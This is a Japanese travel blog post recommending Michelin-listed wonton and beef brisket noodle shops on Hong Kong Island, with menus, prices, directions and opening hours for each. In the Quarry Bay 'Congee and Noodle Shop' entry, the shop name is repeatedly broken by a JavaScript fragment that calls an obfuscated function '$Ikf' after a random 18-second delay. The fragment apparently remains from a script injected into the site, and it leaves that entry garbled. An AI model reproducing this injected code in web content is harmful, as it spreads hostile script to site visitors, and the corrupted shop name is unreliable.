【安い】ミシュランがワンコイン！ミシュラン掲載の香港麺専門店(ワンタン麺)：香港島編

2018年12月14日2020年4月16日

香港ではワンタン麺などの麺専門レストランがミシュランガイドブックのお勧め店として掲載されています。「香港でワンタン麺食べたいけど多すぎてどこに行ったらいいか迷っている」という方は必見です。

前回は九龍サイドの麺専門店を紹介したので、今回は香港島のお店を紹介します。香港島にはワンタン麺だけでなく牛バラ麺のお店もミシュランに掲載されています。ぷりぷりのワンタン麺とほろほろの牛バラ麺を是非お試しください。

九龍サイドのワンタン麺(麺専門店)のミシュランはこちら↓

https://www.bigomagazine.com/hk-michelinwonton/

香港ミシュラン掲載のワンタン麺のお店：香港島編

正斗粥麵專家／Tasty Congee & Noodle Wantun Shop

写真：http://www.tasty.com.hk/

1996年創業した「正斗」はミシュランガイド1つ星「何洪記」と姉妹店。「何洪記」と同じく粥麺を専門とするお店ですが、ちょっとした点心もあり飲茶も楽しめるレストランです。

ここの人気メニューはもちろんワンタン麺。はじめは何もつけずそのままの味を楽しみ、途中味の変化を付けたい方はテーブルのチリソースを加えることをおすすめします。点心メニューも本格的なので、ここではワンタン麺小と点心メニュー1つを注文するといいかと思います。

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カジュアルな香港Ｂ級グルメの品揃えが中心にもかかわらず、ifcモールの店舗は大変豪華で綺麗なため、ローカル店が苦手なかたはこちらがおすすめです。

現在は香港の空港に店舗はなくなったので、日本に帰る前にfcの店舗で食べて行くのもいいかもしれませんね。（お店の下から香港空港行き直通電車がでています）

◆おすすめメニュー

お店の看板メニューワンタン麺「正斗鮮蝦雲呑麵」：42香港ドル

◆行き方

香港駅から6分。Ｃ出口を出て地上に上がるとエアポートエクスプレスのチェックインのフロアが出て来ます。その横に上にエレベーターがあるので、3階に行くとすぐにお店があります。

お店	正斗粥麵專家
住所	中環港景街1號國際金融中心3樓3016-3018號舖
行き方	香港站 C 出口、徒歩6分鐘
電話番号	22950101
時間	11:00 – 23:00

沾仔記／Tsim Chai Kee

写真：openrice

セントラルで人気のワンタン麺といったらここ「沾仔記」。2009年から連続してミシュランビブグルマンに選ばれています。

ここのワンタン麺はビックリするほど大きな具が特徴。1つに6～8個の小エビが入っています。麺は歯ごたえが抜群でスープは他店と比べて甘めで日本人好みだと思います。

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ピーク時はお店の外に行列ができていますが、オーダーして3分以内で全品でてくるような回転の速いお店なので、並んでいてもすぐに入店できます。お店は清潔感がありますが、相席が基本で、特にここは横との距離が近いため、こういう雰囲気が苦手なかたは向かいにあるワンタン麺「麥奀雲吞麵世家」に行かれることをおすすめします。

◆おすすめメニュー

えびワンタン麺「招牌雲呑麺」：31香港ドル
青魚の身をつぶした魚団子(つみれ)が入った「魚球麺」：
えびワンタン、魚の団子、牛肉入り麺「至尊三宝麺」40香港ドル

◆行き方

MTR中環駅から10分。D2出口を出て威靈頓街をまっすぐ歩くと左手に出て来ます。坂道が苦手なかたはヒルサイドエスカレーターを使って行くことをおすすめします。

お店	沾仔記
住所	中環威靈頓街98號地舖
行き方	中環駅D2出口、徒歩10分
電話番号	28506471
時間	09:00 – 22:00

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-Noodle-Shop”>粥麵館／Congee andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Noodle Shop

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香港島Quarry Bayのオフィスビルに入っている「粥麵館」。Quarry Bayは繁華街というよりもオフィス街や住宅街があるため観光客は少なく、またこのお店は路面店ではないことからどの時間帯に行っても割と空いています。そしてとても清潔感のあるお店です。

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ミシュランガイドには揚げワンタンが取り上げられていますが、このお店で人気なのはワンタン麺とお粥です。麺もお粥も美味しいのですが、わざわざ旅行者がここまで来て食べるほどではないので、もしホテルが近い場合などは試してもいいかもしれません。

◆おすすめメニュー

エビワンタン麺「港式雲呑湯麺」：小33香港ドル、大42香港ドル
レタスと魚のお粥「生菜魚滑粥」：38香港ドル
揚げワンタン「雲吞」(4つ入り)：25香港ドル

◆行き方

MTR鰂魚涌駅より5分。Ｂ出口出て英皇道を真っ直ぐ200m歩くと右手にでてくるビル「嘉里中心」の2階がお店です。

お店	粥麵館Congee andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Noodle Shop
住所	鰂魚涌英皇道683號嘉里中心2樓
行き方	鰂魚涌駅B 出口、徒歩5分
電話番号	27500208
時間	10:30 – 20:30

英記麵家／Eng Kee Noodle Shop

写真：openrice

このお店では、香港では珍しい「揚げ雲呑麺」が食べられるお店です。揚げワンタン麺は麺とスープが別々のお椀にいれてサーブされます。

基本ワンタンは揚げ置きしているのですが、冷めていてもエビはぷりぷりで外はサクサクのままです。開店直後かお昼前に行くと揚げたての熱々ぷりぷりワンタンが楽しめます。エビの味わいがしっかりとしており、薄味のスープにつけて頂くとまた美味しいです。

写真：openrice

ワンタン麺と同じくらい人気なのがチャーシュー麺です。自家製の甘めのチャーシューが麺の上にこれでもかというくらいたくさんのっています。

◆おすすめメニュー

香港の甘い揚げ雲呑麺「炸雲呑麺」：37香港ドル
自家製チャーシューがたっぷりの麺「叉焼湯麺」：41香港ドル

◆行き方

MTR西營盤駅から徒歩5分。B出口からは急な坂道になりますが、市場の前から出てるエレベーターに乗って「高街」にあがることができます。

お店	英記麵家
住所	西環西營盤高街32號地下
行き方	西營盤駅 B2出口、徒歩5分
電話番号	25407950
時間	09:00 – 19:00

香港ミシュラン掲載の牛バラ肉麺のお店

九記牛腩／Kau Kee Restaurant

実はシャッターが可愛い

香港で牛バラ麺の有名店といえば「九記」。平日にも関らず常に行列必須のお店です。こちらの牛バラ肉はお肉の柔らかい子牛のみを使用しており、脂身と赤身のバランスが絶妙です。スープはベースはコンソメですが、毎日12～13種類の牛、豚、鶏の骨などを入れ、調味料、漢方まで入っています。

メニューは日本語つきなのですが、種類が多く初めての方は必ず迷うので簡単に説明します。①スープの種類(普通のスープ上湯、カレーなど）②具材となる牛肉の部位(牛バラ、牛筋など）③麺の種類（平打ち米麺、卵麺、太麺）の組み合わせを選びます。これさえ決めておけば、すぐ注文したいメニューを選ぶことができます。

定番は牛バラ肉の麺ですが、お店の一番人気はカレー牛筋卵麺です。カレーは辛さに加えスパイスの香りに酸っぱさもあり、癖になる味です。

◆おすすめメニュー

牛バラ入り麺「上湯牛腩河粉/粗麺」：50香港ドル
お店の一番人気カレーの牛筋麺「咖喱牛筋腩河粉/粗麺」：50香港ドル

※卵麺（伊麺）は55香港ドル

◆行き方

MTR上環から6分。Ａ2出口でて、右に曲がり福利街を左に真っ直ぐを歩きます。皇后大道中の道路が出てきたら左に曲がり、「焼肉グレート」の向かいにある階段を上に上がります。そのまま真っ直ぐ行くと左手に出て来ます。坂や階段を上る必要があるので、ベビーカーには少し厳しいかもしれません。

お店	九記牛腩
住所	中環歌賦街21號地舖
行き方	上環駅 A2 出口、徒歩6分
電話番号	28505967
時間	12:30 – 22:30
休み	日曜・祝日